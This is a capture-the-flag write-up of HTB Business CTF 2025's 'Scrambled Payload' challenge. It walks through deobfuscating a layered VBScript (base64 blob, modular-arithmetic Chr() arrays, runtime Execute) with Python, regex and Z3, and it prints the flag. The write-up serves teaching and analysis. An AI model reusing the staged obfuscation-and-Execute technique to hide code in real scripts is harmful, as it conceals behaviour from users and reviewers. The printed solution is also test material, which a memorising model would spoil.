            <content:encoded><![CDATA[<p><em>A step-by-step walkthrough of HTB Business CTF 2025’s “Scrambled Payload”-from obfuscated VBScript to flag via Python, regex, and Z3 constraint solving.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cNPvw4X1vMusOv0dmIvXdg.png" /></figure><h3>The Challenge at a Glance</h3><p><strong>Category:</strong> Reverse Engineering | <strong>Difficulty:</strong> Easy | <strong>Event:</strong> HTB Business CTF 2025</p><p>We’re handed a ZIP file containing a single file: payload.vbs. At ~60KB, this VBScript isn&#39;t meant to be read easily. It&#39;s a masterclass in obfuscation-layered, deliberate, and surprisingly elegant once you understand what&#39;s happening underneath.</p><p><strong>Tools used:</strong> Vim, Python, base64, regex, Z3 Solver</p><h3>Step 1: Initial Inspection</h3><p>The first rule of reverse engineering: understand what you’re looking at before you start pulling it apart.</p><pre>ls -lah<br>-rw-rw-r-- 1 user user 60K May 16 10:40 payload.vbs</pre><p>Opening the file in Vim immediately reveals the pattern. The VBScript uses CreateObject and assigns a massive base64 string to a variable. That string is written to a stream and executed at runtime — a classic technique to hide the real payload.</p><pre>Set A = CreateObject(Chr((211*95) mod 256) &amp; Chr((187*169) mod 256) &amp; ...)<br>A.text = &quot;&lt;ONE_BIG_BASE64_ENCODED_PAYLOAD&gt;&quot;<br>Set B = CreateObject(&quot;ADODB.Stream&quot;)<br>...<br>Execute B.ReadText</pre><p>Even the object names are obfuscated using modular arithmetic, each character is computed as (X * Y) mod 256 and converted with Chr(). This isn&#39;t just one layer of obfuscation; it&#39;s a <em>chain</em>.</p><h3>Step 2: Peeling Back the First Layer — Base64 Decoding</h3><p>We extract the base64 blob using Vim and decode it:</p><pre>cat a_dot_text_b64_blob | base64 -d &gt; a_dot_text_b64_blob_decoded</pre><p>Inside the decoded content, we find more obfuscation. This time it’s arrays of integers processed through arithmetic operations like +196 or *117, taken mod 256, then converted via Chr():</p><pre>d = &quot;&quot;<br>for i = 0 to 267<br>    d = d + Chr((Array(143, 161, ..., 121, 110)(i) + 196) mod 256)<br>Next<br>Execute d</pre><p>This pattern repeats — nine times. Each stage produces part of the next VBScript layer.</p><h3>Step 3: Automating the Deobfuscation with Python</h3><p>Doing this manually nine times isn’t an option. We write a Python function that mirrors the VBScript logic:</p><pre>def deobfuscate_vbs_stage(obfuscated_array, loop_limit, op_type, op_val):<br>    d = &quot;&quot;<br>    for i in range(loop_limit + 1):<br>        val = obfuscated_array[i]<br>        if op_type == &#39;add&#39;:<br>            res = (val + op_val) % 256<br>        elif op_type == &#39;multiply&#39;:<br>            res = (val * op_val) % 256<br>        elif op_type == &#39;xor&#39;:<br>            res = (val ^ op_val) % 256<br>        d += chr(res)<br>    return d</pre><p>The key insight here is that VBScript’s mod behavior maps cleanly to Python&#39;s % operator for positive integers. Running this across all nine stages peels back the layers one by one.</p><h3>Step 4: Regex-Based Cleanup</h3><p>After the multi-stage decode, we’re left with VBScript that still contains inline Chr() obfuscation — both simple and complex forms:</p><ul><li><strong>Complex:</strong> Chr((197*55) mod 256)</li><li><strong>Simple:</strong> Chr(105)</li></ul><p>We handle these with three regex passes using Python’s re module:</p><pre>def fully_deobfuscate(input_content: str) -&gt; None:<br>    # Pass 1: Resolve Chr((X * Y) mod 256)<br>    complex_pattern = r&quot;Chr\(\((\d+)(\D)(\d+)\)\s*mod\s*\d*\)&quot;<br>    content = re.sub(complex_pattern, deobfuscate_complex_chr, input_content)</pre><pre>    # Pass 2: Resolve Chr(NUM)<br>    simple_pattern = r&quot;Chr\((\d+)\)&quot;<br>    content = re.sub(simple_pattern, deobfuscate_simple_chr, content)</pre><pre>    # Pass 3: Strip string concatenators (&amp;)<br>    content = re.sub(r&quot;(&amp;)&quot;, &quot;&quot;, content)</pre><p>Each pass cleans up another layer of obfuscation, and the string gradually becomes readable VBScript.</p><h3>Step 5: Understanding the Final Payload</h3><p>After full deobfuscation, the VBScript’s true purpose becomes clear. It:</p><ol><li>Gets the <strong>computer name</strong> using WScript.Network</li><li><strong>Base64-encodes</strong> it using ADODB streams</li><li><strong>Validates</strong> the result against three complex regular expressions</li><li>Displays &quot;Correct!&quot; only if all three regex checks pass</li></ol><p>Here’s the critical validation block:</p><pre>Set r = New RegExp<br>r.Pattern = &quot;^....................................$&quot;<br>If Not r.Test(n.text) Then WScript.Quit<br>End If</pre><pre>r.Pattern = &quot;^[MSy][FfK][ERT][yCM][efI][{31][KeN][jIS][Uol][z5j]...&quot;<br>If Not r.Test(n.text) Then WScript.Quit<br>End If</pre><p>The regex patterns define allowed characters <strong>per position</strong> — each [...] group tells us which characters are valid at that index in the base64-encoded computer name.</p><h3>Step 6: Cracking the Regex — Two Approaches</h3><h3>The Visual Approach</h3><p>If you look closely, the three regex patterns share <strong>one character in common per position</strong>. For position 0, the three groups are [MSy], [{Sp], and [WoS] — the only character common to all three is <strong>S</strong>.</p><p>Repeating this for all 36 positions manually would work… but we’re engineers.</p><h3>The Z3 Solver Approach</h3><p>We modeled the problem symbolically. Each of the 36 character positions becomes an 8-bit variable, and the regex character sets become constraints:</p><pre>from z3 import BitVec, Solver, sat, Or<br>import base64<br><br>chars = [BitVec(f&#39;c{i}&#39;, 8) for i in range(36)]<br>s = Solver()<br># All characters must be printable ASCII<br>for c in chars:<br>    s.add(c &gt;= ord(&#39;!&#39;), c &lt;= ord(&#39;~&#39;))<br>def add_regex_constraint(pattern):<br>    pattern_body = pattern.strip(&quot;^$[]&quot;)<br>    for i, group in enumerate(pattern_body.split(&#39;][&#39;)):<br>        s.add(Or([chars[i] == ord(ch) for ch in group]))<br>patterns = [<br>    &quot;^[MSy][FfK][ERT]...$&quot;,<br>    &quot;^[{Sp][F7H][R1t]...$&quot;,<br>    &quot;^[WoS][cFe][_yR]...$&quot;<br>]<br>for pat in patterns:<br>    add_regex_constraint(pat)</pre><p>Running the solver:</p><pre>$ python3 solve_z3.py<br>Valid base64 encoded computer name: SFRCe1NjUjRNQkwzRF9WQl9TY3IxUFQxTkd9<br>Base64 decoded computer name: HTB{ScR4MBL3D_VB_Scr1PT1NG}</pre><h3>Key Takeaways</h3><p>This challenge is a great example of how real-world malware conceals itself. The layers here mirror techniques used in actual malicious payloads:</p><ul><li><strong>Multi-stage decoding — </strong>each layer only reveals the next, not the end goal</li><li><strong>Runtime code execution</strong> (Execute) — no static analysis tool sees the full picture without running it</li><li><strong>Modular arithmetic obfuscation</strong> — simple math that looks complex at a glance</li><li><strong>Regex-based validation</strong> — an unusual but effective way to check for specific execution environments (like a target machine name)</li></ul><p>The combination of Python scripting, regex pattern matching, and Z3 constraint solving made short work of what initially looks like an impenetrable wall of obfuscated code.</p><p><strong>Flag:</strong> HTB{ScR4MBL3D_VB_Scr1PT1NG}</p><p><em>If you found this useful, follow for more CTF write-ups and reverse engineering breakdowns. More challenges from HTB Business CTF 2025 coming soon.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36702805ca9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>